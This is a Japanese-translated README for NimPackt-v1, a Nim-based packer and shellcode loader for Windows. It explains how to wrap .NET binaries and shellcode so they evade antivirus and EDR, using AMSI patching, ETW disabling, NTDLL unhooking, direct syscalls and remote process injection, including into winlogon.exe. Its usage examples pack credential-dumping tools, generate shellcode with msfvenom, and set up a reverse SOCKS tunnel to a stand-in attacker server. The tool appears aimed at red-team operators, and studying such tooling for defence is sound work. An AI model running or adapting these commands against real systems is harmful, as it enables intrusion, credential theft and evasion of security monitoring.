
Nimベースのアセンブリパッカーおよびシェルコードローダー(opsecと利益のため)

作成者: Cas van Cooten (@chvancooten)
特別な感謝: Marcello Salvati (@byt3bl33der) と Fabian Mosch (@S3cur3Th1sSh1t)
更新: NimPackt-v1は私が今まで書いた中で最悪のコードの1つです(Nimを学び始めたばかりだったため)。このため、私はNimPacktの完全な書き直しに着手し、「NimPackt-NG」(現在は非公開)と名付けました。この書き直しに伴い、旧ブランチ(「NimPackt-v1」)をオープンソース化することにしました。そのため、このブランチはもはやメンテナンスされておらず、保証やサポートも一切ありません。もちろん、プルリクエストはいつでも歓迎します:)
NimPacktは、Windows上で.NET(C#)実行可能ファイルとシェルコードを対象としたNimベースのパッカーです。ペイロードを自動的にNimバイナリにラップし、それをネイティブCにコンパイルするため、検出やリバースエンジニアリングが難しくなります。主な実行方法は2つあります:
Execute-Assembly は .NET 実行可能ファイルを再パッケージ化して実行し、必要に応じてAPIフック解除、AMSIパッチ、ETW無効化などの回避策を適用します。Shinject は、位置独立の生のシェルコードを含む .bin ファイルを取得し、ローカルまたはリモートプロセスで実行します。必要に応じて直接システムコールを使用してシェルコードをトリガーしたり、APIフックにパッチを当ててEDRを回避します。現在、NimPacktには以下の機能があります。
NTDLL.dll を ShellyCoat を使用してリフレッシュすることで、生成されたスレッドのユーザーモードAPIをアンフックexe または dll にコンパイル攻撃ツール向けのC#バイナリの優れた情報源はこちらにあります。C#バイナリは自分でコンパイルすることを強くお勧めします。組み込みのバイナリは暗号化されていますが、機密性の高いバイナリ(Mimikatzなど)は難読化して、検出リスクを低減する必要があります。
Syscallを使用したバイナリのコンパイルに問題がある場合は、GCCをバージョン8.1.0にダウングレードしてみてください(特にWindows上で)。生成されたペイロードは常にテストしてください!
Linuxでは、必要なパッケージをインストールし、Nimbleパッケージインストーラを使用して必要なパッケージとPythonライブラリをインストールするだけです。
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
Windowsでは、ここからNimインストーラを実行します。mingwをインストールし、提供されているfinish.exeユーティリティを使用してパス値を正しく設定してください。Python3がインストールされていない場合はインストールし、次のように必要なパッケージをインストールします。
nimble install winim nimcrypto
pip3 install pycryptodome argparse
Dockerイメージ chvancooten/nimbuild は、NimPackt-v1バイナリをコンパイルするために使用できます。Dockerを使用すると簡単で、依存関係の問題を回避できます。このコンテナには必要な依存関係がすべてプリインストールされています。
使用するには、OSに応じてDockerをインストールし、入力シェルコードがカレントフォルダにあることを確認します。その後、以下のようにコンテナ内でコンパイルを開始します。
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
CobaltStrikeプラグインをインストールするには、メニューバーからCobalt Strike -> Script Managerを選択し、Loadを選択します。.cnaファイルは元の場所からロードしてください。そうしないと、NimPacktスクリプトファイルを見つけることができません。

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Packerの実行モード。"execute-assembly" または "shinject" をサポート
-i INPUTFILE, --inputfile INPUTFILE
ラップするC# .NETバイナリ実行可能ファイル(.exe)またはシェルコード(.bin)
execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
ラップされたバイナリに「焼き付ける」引数、または実行時に引数を受け入れる場合は "PASSTHRU"(デフォルト)
-na, --nopatchamsi Anti-Malware Scan Interface(AMSI)をパッチ(無効)しない
-ne, --nodisableetw Event Tracing for Windows(ETW)を無効にしない
shinject arguments:
-r, --remote シェルコードをリモートプロセスに注入(デフォルト false)
-t INJECTTARGET, --target INJECTTARGET
リモートプロセスインジェクションのターゲットとなるリモートスレッド
-E, --existing 新しく生成されたプロセスではなく、既存のプロセスにリモート注入(デフォルト false、-r を含意)(警告:不安定)
other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
出力ファイルのファイル名(例:"LegitBinary")。拡張子やパスを付けずに指定します。このプロパティは元のファイル名として出力バイナリに保存されます
-nu, --nounhook ターゲットプロセスで新しいNTDLL.dllをロードしてユーザーモードAPIフックをアンフックしない
-ns, --nosyscalls 高レベルAPIの代わりに直接システムコール(Windows 7-10)を使用してEDRを回避しない
-f FILETYPE, --filetype FILETYPE
コンパイルするファイルタイプ("exe" または "dll"、デフォルト:"exe")
-s, --sleep 素数計算によって約30秒間スリープ
-32, --32bit 32ビットモードでコンパイル(未テスト)
-S, --showConsole 実行時にアプリの出力を表示するコンソールウィンドウを表示
-d, --debug デバッグモードを有効にする(出力フォルダに.nimソースファイルを保持)
-v, --verbose 実行時にラップされたバイナリのデバッグメッセージを表示
-V, --version プログラムのバージョン番号を表示して終了
例:
# SharpKatzをパックし、実行時に引数を受け入れ、NTDLLフック、AMSI、ETWをパッチし、実行時に可視コンソールに詳細メッセージを表示
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# SeatbeltをDLLファイルとしてパックし、焼き付けられた引数(注:DLLではstdoutが利用できないため、outfileに書き込む)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# SharpChiselを組み込みのChiselChief接続文字列でパックし、アンフック、AMSIパッチ、ETW無効化を行わず、実行時にアプリケーションウィンドウを非表示にする
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# 生のシェルコードをDLLファイルにパックし、直接システムコールを使用してローカルスレッドで実行、NTDLLもアンフック
# シェルコードは 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin' で生成
python3 NimPackt.py -i calc.bin -e shinject -f dll
# 生のシェルコードをパックして、新しく生成されたCalculatorスレッドに非表示ウィンドウで実行
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# 生のシェルコードをパックして、既存のWinlogonプロセス(最初のPIDで名前が'winlogon.exe'のもの)に実行、直接システムコールやNTDLLのアンフックは使用しない
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
バイナリはインストールディレクトリのoutputサブフォルダに保存されます。生成されたdllファイルは以下のように実行できます(エントリポイントはNimテンプレートで変更可能):
rundll32 exampleShinjectNimPackt.dll,IconSrv